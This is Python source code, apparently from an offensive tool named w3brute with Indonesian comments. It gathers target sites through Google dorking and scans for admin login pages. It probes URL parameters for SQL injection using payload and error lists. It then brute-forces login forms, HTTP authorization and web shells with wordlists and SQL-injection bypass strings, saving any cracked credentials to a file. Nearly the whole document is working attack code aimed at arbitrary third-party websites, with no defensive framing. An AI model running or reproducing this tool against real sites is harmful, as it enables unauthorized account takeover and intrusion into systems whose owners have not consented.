def getParameterForm(self): if auth.IS_AUTHORIZATION: # skip lagi... return infoMsg = "[INFO] find parameter(s)...\n" cetakData(infoMsg) soup = html.soup html.field = PyDict() if auth.IS_WEBSHELL_AUTH is None: input_elem = soup.find("input", type="text") \ or soup.find("input", type="email") if not input_elem.has_key("name"): errMsg = "parameter(s) not found in %s" % repr(str(input_elem)) logger.error(errMsg) raise W3bruteSkipTargetException html.field.username = input_elem.get("name") input_elem = soup.find("input", type="password") if not input_elem.has_key("name"): errMsg = "parameter(s) not found in %s" % repr(str(input_elem)) logger.error(errMsg) raise W3bruteSkipTargetException html.field.password = input_elem.get("name")
def newline(self, msg): """ mencetak text dan pindah ke garis baru """ clearLine() if konf.colored(): color = Fore.LIGHTGREEN_EX bold = Fore.LIGHTWHITE_EX reset = Style.RESET_ALL levelname = getLevelName(msg) msg = bold + msg.replace(levelname, color + levelname + reset) text = re.search("\((.+)\)", msg).group(1) msg = msg.replace(text, color + text + reset) if ":" not in self.curmesg: self.curmesg = warnai(self.curmesg, "green", attrs=["bold", "underline"]) else: usr, psw = self.curmesg.split(" : ") self.curmesg = warnai(usr, "green", attrs=["bold", "underline"]) + " : " + warnai(psw, "green", attrs=["bold", "underline"]) msg = msg.format(self.curmesg) msg += "\n" cetakData(msg)
def write(self, msg): """ cetak data ke terminal """ clearLine() # simpan pesan, yang nantinya akan digunakan oleh # fungsi newline() self.curmesg = msg msg = self.message + msg if len(msg) >= self.width: # untuk lebar terminal kurang dari 51 # pesan akan secara otomatis di pendekan. if self.width <= 50: if not konf.disableWrap: msg = textwrap.wrap(msg, self.width)[0][:-4] + "..." else: konf.garisBaru = True else: konf.garisBaru = True msg = msg.ljust(self.width) if konf.colored(): msg = Fore.GREEN + msg + Style.RESET_ALL cetakData(msg)
def getTarget(): """ mendapatkan daftar target """ targetList = None if not konf.googleSearch: targetList = createList(*konf.target) infoMsg = "[INFO] total target: %d\n" % len(targetList) cetakData(infoMsg) else: try: targetList = searchGoogle() except W3bruteNextStepException: raise W3bruteQuitException except Exception: errMsg = "what happened?. %s" % getErrorMessage() logger.error(errMsg) raise W3bruteQuitException if targetList is None: warnMsg = "[WARNING] unsuccessful in getting search results with dork %s. " % repr( konf.googleDork) warnMsg += "try using another dork (e.g. 'inurl:/admin/index.php')\n" cetakData(warnMsg) raise W3bruteQuitException infoMsg = "google search results get %d target(s)" % len(targetList) logger.info(infoMsg) charunik = os.urandom(4).encode("hex") filename = "result-dorking-w3brute-" + charunik format = "txt" fp = createFileObject(filename, format, False) maxval = len(targetList) spin = Spinner("[INFO] saving results... ", maxval=maxval) try: for url in targetList: fp.write(url + "\n") spin.show_progress() except W3bruteNextStepException: pass fp.close() spin.done() infoMsg = "dorking results are stored in %s" % repr(fp.name) logger.info(infoMsg) return targetList
def checkLength(self): """ memeriksa panjang pesan """ if len(self.message + self.curmesg) >= self.width: self._show_proses_lengkap = False self.curlen = 0 if not hasattr(self, "_sudah_di_perbaiki"): self._sudah_di_perbaiki = True clearLine() cetakData(self.message)
def write(self, msg): """ cetak karakter/pesan ke terminal """ backspace = "\b" * self.curlen self.curlen = max(self.curlen, len(msg)) if konf.colored(): spin = msg[-1] msg = msg[:-1] + random.choice(Fore.__dict__.values()) + spin msg = backspace + msg.ljust(self.curlen) cetakData(msg)
def done(self, msg=""): """ cetak pesan selesai """ clearLine() cetakData(msg) if msg: # jika msg bukan null # pindah ke garis baru. cetakData("\n") # aktifkan kembali interrupt handler ignoreInterrupt(False) self.resetSignal()
def sqliScanner(): """ SQL injection scanner vulnerability untuk mengetahui jika target rentan terhadap SQL injection dan biasanya rentan juga di bypass login. """ infoMsg = "[INFO] detecting bug SQL injection...\n" cetakData(infoMsg) pbar = Progress("[INFO] testing query -> ") query = getQuery(target.URL) try: for kueri in query: kueri = kueri.strip() for payload in SQL_PAYLOAD: pbar.write(kueri) old_url = target.URL new_url = old_url.replace(kueri, kueri + payload) response = UserAgent.open(new_url) htmltext = response.read() for errMsg in SQL_ERROR_MESSAGE: if re.search(errMsg, htmltext, re.IGNORECASE): msg = "[INFO] query: {} detected (vuln)" pbar.newline(msg) pbar.finish() raise W3bruteNextStepException pindahBaris() pbar.finish() except W3bruteNextStepException: infoMsg = "target is detected vulnerable by the SQL injection method" if not konf.sqliBypass: infoMsg += ". use the '--sqli-bypass' option to activate " infoMsg += "SQL injection bypass authentication technique." logger.info(infoMsg) else: warnMsg = "target is not vulnerable to the SQL injection method" logger.warning(warnMsg)
def __init__(self, message, maxval=None, suffix="%(percent)d%%"): self.message = message self.marker = itertools.cycle(SPINNER_CHAR) self.curlen = 0 self.curval = 0 self.maxval = maxval or 100 self.suffix = suffix self.width = getTerminalSize()[0] self.curmesg = None self._show_proses_lengkap = True ignoreInterrupt() # menambahkan handler untuk menghandle jika ukuran terminal berubah # reference: https://stackoverflow.com/questions/16941885/want-to-resize-terminal-windows-in-python-working-but-not-quite-right signal.signal(signal.SIGWINCH, self.handleResize) cetakData(message)
def getValidForms(self): """ fungsi ini untuk mendapatkan form yang menuju ke dashboard website """ if auth.IS_AUTHORIZATION: # skip... return infoMsg = "[INFO] try searching for form that goes to the website dashboard...\n" cetakData(infoMsg) try: for form in self.forms: input_controls = form.controls for input_elem in input_controls: input_type = input_elem.type # jika input type 'password' ditemukan # itu berarti form tersebut menuju ke # dashboard website. if input_type == "password": html.form = form html.soup = self.soup.find("form", attrs=form.attrs) raise W3bruteSkipParsingFormException except W3bruteSkipParsingFormException: infoMsg = "form that goes to the website dashboard is found" logger.info(infoMsg) else: criMsg = "form that goes to the website dashboard is not found. " if not konf.adminScanner: criMsg += "try using the '--admin' option to help you " criMsg += "find the admin login page." logger.critical(criMsg) raise W3bruteSkipTargetException
def searchGoogle(): infoMsg = "[INFO] google dorking is running, please wait...\n" cetakData(infoMsg) dork, page = konf.target page = page if page > 1 else 1 # atur kembali konf.googleDork = dork data = { "q": dork, "num": 100, "hl": "en", "complete": 0, "safe": "off", "filter": 0, "btnG": "search", "start": page } url = "https://www.google.com/search?" + urllib.urlencode(data) response = UserAgent.open(url) htmltext = response.read() if re.search("(?i)captcha", htmltext): criMsg = "can't get dorking results. " criMsg += "captcha challenge detected" logger.critical(criMsg) raise W3bruteNextStepException soup = BeautifulSoup(htmltext) h3tags = soup.findAll("h3", attrs={"class": "r"}) urls = [ urlparse.parse_qsl(urlparse.urlsplit(tag.a["href"]).query)[0][1] for tag in h3tags ] return urls or None
def adminScanner(): infoMsg = "[INFO] find the admin page...\n" cetakData(infoMsg) pbar = Progress("[INFO] testing page -> ") found = False adminPaths = createList(konf.adminPaths) for admin in adminPaths: admin = "/" + admin.strip() pbar.write(admin) newurl = getNewUrl(target.URL) + admin response = UserAgent.open(newurl) if response.code in ADMIN_PAGE_RESPONSE: pbar.newline("[INFO] admin page: {} (valid)") target.URL = newurl found = True break pindahBaris() pbar.finish() if not found: filename = os.path.basename(konf.adminPaths) if re.search(r"web.db", filename): filename = parseDbSyntax(filename)[0] criMsg = "admin login page not found in database %s" % repr(filename) logger.critical(criMsg) raise W3bruteSkipTargetException else: pass
def getTipeAutentikasi(self): """ mendapatkan tipe autentikasi target """ infoMsg = "[INFO] detecting target authentication type...\n" cetakData(infoMsg) if auth.IS_AUTHORIZATION: infoMsg = "authentication type: %s Authorization" % repr( auth.type.capitalize()) logger.info(infoMsg) return soup = html.soup if soup.find("input", type="text"): if re.search("(?i)email", str(soup)): auth_type = "email" auth.IS_EMAIL_AUTH = True else: auth_type = "standard" auth.IS_STANDARD_AUTH = True elif soup.find("input", type="email"): auth_type = "email" auth.IS_EMAIL_AUTH = True else: infoMsg = "page title %s" % repr(self.title) logger.info(infoMsg) auth_type = "web shell" auth.IS_WEBSHELL_AUTH = True infoMsg = "authentication type: %s" % repr(auth_type) logger.info(infoMsg)
def checkTarget(): """ memeriksa target jika support di bruteforce """ url = target.URL target.HOST = urlparse.urlparse(url).netloc infoMsg = "[INFO] check the target if the target has the potential to attack...\n" cetakData(infoMsg) response = UserAgent.open(url) code = response.code if code == 401: auth.IS_AUTHORIZATION = True elif code == 200: infoMsg = "[INFO] search form...\n" cetakData(infoMsg) else: errMsg = "[ERROR] HTTP error code %d (%s)\n" % (code, repr(response.reason)) cetakData(errMsg) raise W3bruteSkipTargetException target.PAGE = getPage(response.geturl()) parsed = ParsePage(response) if len(parsed.forms) > 0 or code == 401: if code != 401: infoMsg = "detected target has %d forms" % len(parsed.forms) logger.info(infoMsg) else: headers = response.info() auth.type = getSchemeAuth(headers) return parsed else: criMsg = "form not found. " if not konf.adminScanner: criMsg += "try using the '--admin' option to help you " criMsg += "find the admin login page." logger.critical(criMsg) raise W3bruteSkipTargetException
def main(): """ fungsi main untuk menjalankan w3brute di terminal """ setBasePath() disableVerifySslCert() createLogger() try: banner() options = cmdLineParser() # mendapatkan nilai opsi. initOptions(options) # menerapkan nilai opsi ke data konfigurasi. msg = "\n[*] starting at %s\n\n" % time.strftime("%X") cetakData(msg) # mendapatkan daftar target. targetList = getTarget() for (i, url) in enumerate(targetList): i += 1 url = url.strip() url = completeUrl(url) target.URL = str(url) infoMsg = "[INFO] #%d url: %s\n" % (i, url) cetakData(infoMsg) try: # menjalankan program init() except W3bruteSkipTargetException: clearLine() if not konf.selesai: infoMsg = "[INFO] skipping target %s\n" % repr(str(url)) cetakData(infoMsg) else: del konf.selesai # hapus data target sebelumnya. clearData() except SystemExit: konf.lewat = True except KeyboardInterrupt: errMsg = "user aborted" logger.error(errMsg) except W3bruteQuitException: pass except Exception: clearLine() warnMsg = "something out of control happens.\n" warnMsg += ("=" * getTerminalSize()[0]) + "\n" warnMsg += "Running version: %s\n" % VERSION warnMsg += "Python version: %s\n" % sys.version.split()[0] warnMsg += "Operating system: %s\n" % platform.platform() warnMsg += "Command line: %s\n" % re.sub(r".+?w3brute.py\b", "w3brute.py", " ".join(sys.argv)) warnMsg += "=" * getTerminalSize()[0] logger.warning(warnMsg) errMsg = getErrorMessage() logger.error(errMsg) finally: if not konf.lewat: msg = "\n[-] shutting down at %s\n\n" % time.strftime("%X") cetakData(msg) if IS_WIN: msg = "\n[#] press enter to continue... " cetakData(msg) raw_input()
def setKredensial(): infoMsg = "[INFO] preparing credentials...\n" cetakData(infoMsg) sliceUser = parseSlice(konf.sliceUser) slicePass = parseSlice(konf.slicePass) usernames = sorted(createList(konf.usernames)) passwords = sorted(createList(konf.passwords)) # slice object (start) harus kurang dari len(object) if sliceUser.start >= len(usernames): sliceUser.start = 0 if slicePass.start >= len(passwords): slicePass.start = 0 usernames = usernames[sliceUser] passwords = passwords[slicePass] if konf.mixedCred and konf.sqliBypass: warnMsg = "[WARNING] if you want to use the '--mixed-cred' option " warnMsg += "please do not use the '--sqli-bypass' option\n" cetakData(warnMsg) time.sleep(2) # durasi untuk anda membaca pesan. infoMsg = "[INFO] SQL injection bypass authentication techniques are disabled\n" cetakData(infoMsg) del konf.sqliBypass if auth.IS_WEBSHELL_AUTH and (konf.sqliBypass or konf.mixedCred): msg = "[ASK] do you want to use " msg += "SQL injection bypass authentication technique " msg += "on the web shell? (y/N): " jawaban = raw_input(msg).lower() if jawaban.startswith("n"): del konf.sqliBypass del konf.mixedCred if auth.IS_EMAIL_AUTH and not konf.sqliBypass: # konfigurasi kredensial untuk autentikasi # yang menggunakan email domains = createList(defaults.domain) if not konf.domain: msg = "[ASK] do you want to add a domain for email? " msg += "(default %s) (Y/n): " % repr(defaults.domain) jawaban = raw_input(msg).lower() if jawaban.startswith("y"): msg = "[#] enter domain (e.g. yahoo.com,mail.org): " domen = raw_input(msg).lower().strip() if len(domen) > 0: domen = createList(domen) domains.extend(domen) else: domen = createList(konf.domain) domains.extend(domen) domains = sorted(domains) infoMsg = "[INFO] adding domain to username...\n" cetakData(infoMsg) maxval = len(usernames) * len(domains) suffix = "%(curval)d/%(maxval)d %(percent)d%%" spin = Spinner("[INFO] current progress: ", maxval=maxval, suffix=suffix) _ = [] try: for username in usernames: for domen in domains: spin.show_progress() if domen.startswith("@"): domen = domen.lstrip("@") if not re.search(EMAIL_PATTERN, username): user = username + "@" user += domen _.append(user) else: _.append(username) except W3bruteNextStepException: pass spin.done() usernames = _ del _ if not auth.IS_WEBSHELL_AUTH and konf.mixedCred: infoMsg = "[INFO] adding SQL query to username...\n" cetakData(infoMsg) sqliQuery = createList(defaults.sqliQuery) maxval = len(usernames) * len(sqliQuery) suffix = "%(curval)d/%(maxval)d %(percent)d%%" spin = Spinner("[INFO] current progress: ", maxval=maxval, suffix=suffix) _ = [] try: for username in usernames: for query in sqliQuery: spin.show_progress() user = username + query _.append(user) except W3bruteNextStepException: pass spin.done() usernames = _ del _ if auth.IS_WEBSHELL_AUTH and konf.mixedCred: infoMsg = "[INFO] adding SQL query to password...\n" cetakData(infoMsg) wordlist = usernames + passwords sqliQuery = createList(defaults.sqliQuery) maxval = len(wordlist) * len(sqliQuery) suffix = "%(curval)d/%(maxval)d %(percent)d%%" spin = Spinner("[INFO] current progress: ", maxval=maxval, suffix=suffix) _ = [] try: for username in usernames: for query in sqliQuery: spin.show_progress() user = username + query _.append(user) except W3bruteNextStepException: pass spin.done() credDb.wordlist = _ konf.webShellCred = True # konfigurasi jika wordlist telah di atur. del _ if konf.sqliBypass: # jika opsi --sqli-bypass digunakan # maka username dan password akan menggunakan # SQL injection query sqliQuery = createList(defaults.sqliQuery) usernames = sqliQuery passwords = sqliQuery ########################## # konfigurasi kredensial # ########################## if auth.IS_WEBSHELL_AUTH and not konf.mixedCred: credDb.wordlist = usernames + passwords konf.webShellCred = True # ^ if not auth.IS_WEBSHELL_AUTH: credDb.passwords = passwords if auth.IS_EMAIL_AUTH: credType = "email" # tambahkan konfigurasi emailCred # jika username dan password telah di atur. # jadi tidak akan mengatur ulang kembali proses # penyiapan kredensial (username dan password) konf.emailCred = True else: credType = "standard" konf.standardCred = True # ^ credDb[credType] = PyDict() credDb[credType].usernames = usernames del usernames, passwords infoMsg = "preparing credentials is complete" logger.info(infoMsg)
def bruteForceAttack(): infoMsg = "starting attacks..." logger.info(infoMsg) regexp = re.compile(target.PAGE, re.I) if not auth.IS_AUTHORIZATION: form = html.form field = html.field target.kredensial = list() try: # bilang ke interrupt handler # jika w3brute sedang menjalankan sesi bruteforce konf.bruteSession = True if not auth.IS_WEBSHELL_AUTH: # mendapatkan daftar username sesuai tipe autentikasi. credType = "standard" if not auth.IS_EMAIL_AUTH else "email" usernames = sorted(credDb[credType].usernames) passwords = sorted(credDb.passwords) pbar = Progress("[INFO] testing account -> ") installBuiltin("pbar", pbar) for username in usernames: username = username.strip() for password in passwords: password = password.strip() msg = "{0} : {1}".format(username, password) pbar.write(msg) authcred = None if auth.IS_AUTHORIZATION: authcred = (username, password) url = target.URL else: form[field.username] = username form[field.password] = password url = getRequestData(form) response = UserAgent.open(url, authCred=authcred) # mendapatkan informasi jika akun 'berpotensi' # dari respon url setelah melakukan POST DATA try: newUrl = response.geturl() if not regexp.search(newUrl): status.found = True except AttributeError: pass checkRegexValid(response) checkStatus(username, password) pindahBaris() else: pbar = Progress("[INFO] testing password -> ") installBuiltin("pbar", pbar) wordlist = sorted(credDb.wordlist) for password in wordlist: password = password.strip() pbar.write(password) form[field.password] = password url = getRequestData(form) try: # mendapatkan informasi jika password (berpotensi) # dari respon kode HTTP response = UserAgent.open(url, allow_redirects=False) except W3bruteRedirectException: status.found = True checkRegexValid(response) checkStatus(password) pindahBaris() except W3bruteStopBruteForceException: pass # bilang ke interrupt handler # kalau sesi bruteforce sudah selesai. del konf.bruteSession pbar.finish() # cek jika sudah dapat akun berpotensi if len(target.kredensial) > 0: infoMsg = "w3brute managed to get %d potential %s" + ("s" if len(target.kredensial) > 1 else "") infoMsg %= (len(target.kredensial), getCredentialType()) logger.info(infoMsg) fp = createFileObject() fieldnames = ["username", "password"] if not auth.IS_WEBSHELL_AUTH else ["password"] fieldnames.insert(0, "#") fieldnames.append("status") output = OutputWriter(fp, fieldnames, konf.fileFormat) maxval = len(target.kredensial) spin = Spinner("[INFO] saving results... ", maxval=maxval) try: for (num, kred) in enumerate(target.kredensial): num += 1 kred = (num,) + kred output.add_row(*kred) spin.show_progress() except W3bruteNextStepException: pass output.close() spin.done() infoMsg = "results of the w3brute are stored in %s" % repr(fp.name) logger.info(infoMsg) konf.selesai = True else: clearLine() warnMsg = "[WARNING] w3brute has not managed to find a potential '%s'. " % getCredentialType() warnMsg += "please try again later.\n" cetakData(warnMsg) uninstallBuiltin("pbar") if isinstance(konf.quit, bool): raise W3bruteQuitException raise W3bruteSkipTargetException